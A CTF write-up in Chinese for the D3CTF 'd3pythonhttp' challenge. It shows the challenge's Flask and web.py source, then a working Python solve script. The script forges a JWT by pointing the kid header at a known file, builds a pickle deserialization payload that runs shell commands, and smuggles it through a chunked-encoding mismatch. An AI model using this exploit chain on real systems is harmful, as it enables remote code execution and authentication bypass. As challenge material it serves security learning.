D3CTF_d3pythonhttp
jerem1ah Lv4

d3pythonhttp

d3参考

https://mp.weixin.qq.com/s/AEF9469H7T_J9J3C3JvWvA

https://blog.wm-team.cn/index.php/archives/75/

https://mp.weixin.qq.com/s?srcid=0429KRSmkPyt4kmBPl5s657E&scene=23&sharer_shareinfo=cf93709293538b1626fda061b971ff8d&mid=2247484107&sn=46d493e9685702515b514325db8ebca0&idx=1&sharer_shareinfo_first=cf93709293538b1626fda061b971ff8d&__biz=Mzg5OTUzNDY2Nw%3D%3D&chksm=c05098eff72711f979f1db15f2c22017383f8f3f5078b65c7ede96be75b11720a1a0cf3d401f&mpshare=1#rd

https://mp.weixin.qq.com/s?srcid=0429zxrQpINGpV5EY7FJt612&scene=23&sharer_shareinfo=7041f7b46f6a257adeffd8ada20a6f91&mid=2247484582&sn=0e0856c0a01b5358dc7e7428a2855cfa&idx=1&sharer_shareinfo_first=7041f7b46f6a257adeffd8ada20a6f91&__biz=MzkxNzU4OTM0MA%3D%3D&chksm=c1bf1895f6c891833a0f410059a793d2c7c28fe965240ca3a3393a30be99ef9b00f034b9f083&mpshare=1#rd

https://ycznkvrmzo.feishu.cn/docx/LKTtdcWYIov9k1xCawgcGY0knFf

https://mp.weixin.qq.com/s/gnXiAfUlx80kZaaiRQfIow

https://blog.s1um4i.com/2024-D3CTF/#more

https://mp.weixin.qq.com/s?srcid=0430AkULY54BqatZLQw5nc1G&scene=23&sharer_shareinfo=5c5fe3b66cfb30c75f85681ecb3923c2&mid=2247484634&sn=f80392917739d8c0d036d27dfd0f0d4c&idx=1&sharer_shareinfo_first=5c5fe3b66cfb30c75f85681ecb3923c2&__biz=MzkxNzU4OTM0MA%3D%3D&chksm=c1bf18e9f6c891ff4866f78746ea7c6e237b10d1e7ddee45bdcc9f654a5292da7336f0aaf8fb&mpshare=1#rd

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
FROM python:3.10-slim-bullseye


RUN sed -i 's/deb.debian.org/mirrors.ustc.edu.cn/g' /etc/apt/sources.list && \
sed -i 's/security.debian.org/mirrors.ustc.edu.cn/g' /etc/apt/sources.list
RUN apt-get update
RUN python3 -m pip install -i https://pypi.tuna.tsinghua.edu.cn/simple \
flask PyJWT

COPY ./src /app

EXPOSE 8081

RUN adduser ctf && addgroup ctfgroup && adduser ctf ctfgroup
USER ctf

CMD ["python3", "/app/app.py"]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
from flask import Flask, request, redirect, render_template_string, make_response
import jwt
import json
import http.client

app = Flask(__name__)

login_form = """
<form method="post">
Username: <input type="text" name="username"><br>
Password: <input type="password" name="password"><br>
<input type="submit" value="Login">
</form>
"""

@app.route('/', methods=['GET'])
def index():
token = request.cookies.get('token')
if token and verify_token(token):
return "Hello " + jwt.decode(token, algorithms=["HS256"], options={"verify_signature": False})["username"]
else:
return redirect("/login", code=302)

@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == "POST":
user_info = {"username": request.form["username"], "isadmin": False}
key = get_key("frontend_key")
token = jwt.encode(user_info, key, algorithm="HS256", headers={"kid": "frontend_key"})
resp = make_response(redirect("/", code=302))
resp.set_cookie("token", token)
return resp
else:
return render_template_string(login_form)

@app.route('/backend', methods=['GET', 'POST'])
def proxy_to_backend():
forward_url = "python-backend:8080"
conn = http.client.HTTPConnection(forward_url)
method = request.method
headers = {key: value for (key, value) in request.headers if key != "Host"}
data = request.data
path = "/"
if request.query_string:
path += "?" + request.query_string.decode()
conn.request(method, path, body=data, headers=headers)
response = conn.getresponse()
return response.read()

@app.route('/admin', methods=['GET', 'POST'])
def admin():
token = request.cookies.get('token')
if token and verify_token(token):
if request.method == 'POST':
if jwt.decode(token, algorithms=['HS256'], options={"verify_signature": False})['isadmin']:
forward_url = "python-backend:8080"
conn = http.client.HTTPConnection(forward_url)
method = request.method
headers = {key: value for (key, value) in request.headers if key != 'Host'}
data = request.data
path = "/"
if request.query_string:
path += "?" + request.query_string.decode()
if headers.get("Transfer-Encoding", "").lower() == "chunked":
data = "{}\r\n{}\r\n0\r\n\r\n".format(hex(len(data))[2:], data.decode())
if "BackdoorPasswordOnlyForAdmin" not in data:
return "You are not an admin!"
conn.request(method, "/backdoor", body=data, headers=headers)
return "Done!"
else:
return "You are not an admin!"
else:
if jwt.decode(token, algorithms=['HS256'], options={"verify_signature": False})['isadmin']:
return "Welcome admin!"
else:
return "You are not an admin!"
else:
return redirect("/login", code=302)

def get_key(kid):
key = ""
dir = "/app/"
try:
with open(dir+kid, "r") as f:
key = f.read()
except:
pass
print(key)
return key

def verify_token(token):
header = jwt.get_unverified_header(token)
kid = header["kid"]
key = get_key(kid)
try:
payload = jwt.decode(token, key, algorithms=["HS256"])
return True
except:
return False

if __name__ == "__main__":
app.run(host = "0.0.0.0", port = 8081, debug=False)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
FROM python:3.10-slim-bullseye


RUN sed -i 's/deb.debian.org/mirrors.ustc.edu.cn/g' /etc/apt/sources.list && \
sed -i 's/security.debian.org/mirrors.ustc.edu.cn/g' /etc/apt/sources.list
RUN apt-get update
RUN python3 -m pip install -i https://pypi.tuna.tsinghua.edu.cn/simple \
web.py

COPY ./src /app

EXPOSE 8080

RUN adduser ctf && addgroup ctfgroup && adduser ctf ctfgroup
USER ctf

CMD ["python3", "/app/app.py"]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import web
import pickle
import base64

urls = (
'/', 'index',
'/backdoor', 'backdoor'
)
web.config.debug = False
app = web.application(urls, globals())


class index:
def GET(self):
return "welcome to the backend!"

class backdoor:
def POST(self):
data = web.data()
# fix this backdoor
if b"BackdoorPasswordOnlyForAdmin" in data:
return "You are an admin!"
else:
data = base64.b64decode(data)
pickle.loads(data)
return "Done!"


if __name__ == "__main__":
app.run()

Transfer-Encoding is an HTTP header that specifies the form of encoding used to safely transfer the payload body in a request or response message. It informs the recipient how the message body has been encoded, allowing them to decode it properly.

There are several common Transfer-Encoding values:

  1. chunked: This means the body of the message is divided into a series of chunks. Each chunk is sent separately, preceded by its size in bytes. Chunked encoding allows the sender to send a response without knowing the total size in advance, which can be useful for streaming or large responses.
  2. identity: This indicates that no encoding has been applied to the body, and the message is sent as-is.
  3. gzip: This indicates that the body has been compressed using gzip compression.
  4. deflate: This indicates that the body has been compressed using the deflate algorithm.

When a client sends a request with a Transfer-Encoding header, it tells the server how to decode the body of the request. Similarly, when a server sends a response with a Transfer-Encoding header, it informs the client how to decode the body of the response.

题解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
import requests
import jwt
from pwn import *
import pickle
# host = "39.105.51.11:28140"
host = "139.224.222.124:30782"
url = f"http://{host}/"
context.log_level="debug"
command = "cat Secr3T_Flag;"

#####################1,伪造token
def get_key(kid):
key = ""
dir = "/app/"
try:
with open(dir+kid, "r") as f:
key = f.read()
except:
pass
print(key)
return key
def verify_token(token):
header = jwt.get_unverified_header(token)
kid = header["kid"]
key = get_key(kid)
try:
payload = jwt.decode(token, key, algorithms=["HS256"])
return True
except:
return False
user_info = {
"username":"admin",
"isadmin":True
}
headers = {
"kid":"a.py"
}
key = get_key("a.py")
token = jwt.encode(user_info,key,algorithm="HS256",headers=headers).decode()
print(token,
verify_token(token),
jwt.decode(token, algorithms=['HS256'], options={"verify_signature": False})['isadmin']
)

#####################2.反序列化
cmd = f'''
def shell(self):
return __import__("os").popen("{command}").read()
index.POST = shell
'''
class exp:
def __reduce__(self):
return (exec,(cmd,))

exp = exp()
payload = base64.b64encode(pickle.dumps(exp)).decode()


#####################3.发送请求

data = payload + "BackdoorPasswordOnlyForAdmin"
raw = f"""POST http://{host}/admin HTTP/1.1
Host: {host}
User-Agent: python
Transfer-Encoding: chunKED
Cookie: token={token}
Content-Length: {len(payload)}

{hex(len(data))[2:]}
{data}
0

""".replace("\n","\r\n").encode()
conn = remote(host.split(":")[0],int(host.split(":")[1]),ssl=False)
conn.send(raw)
res = conn.recvall()
print(res)
conn.close()


#####################4.查看回显
res = requests.post(url=url+"backend").text
print(res)

image-20240430121059398

 Comments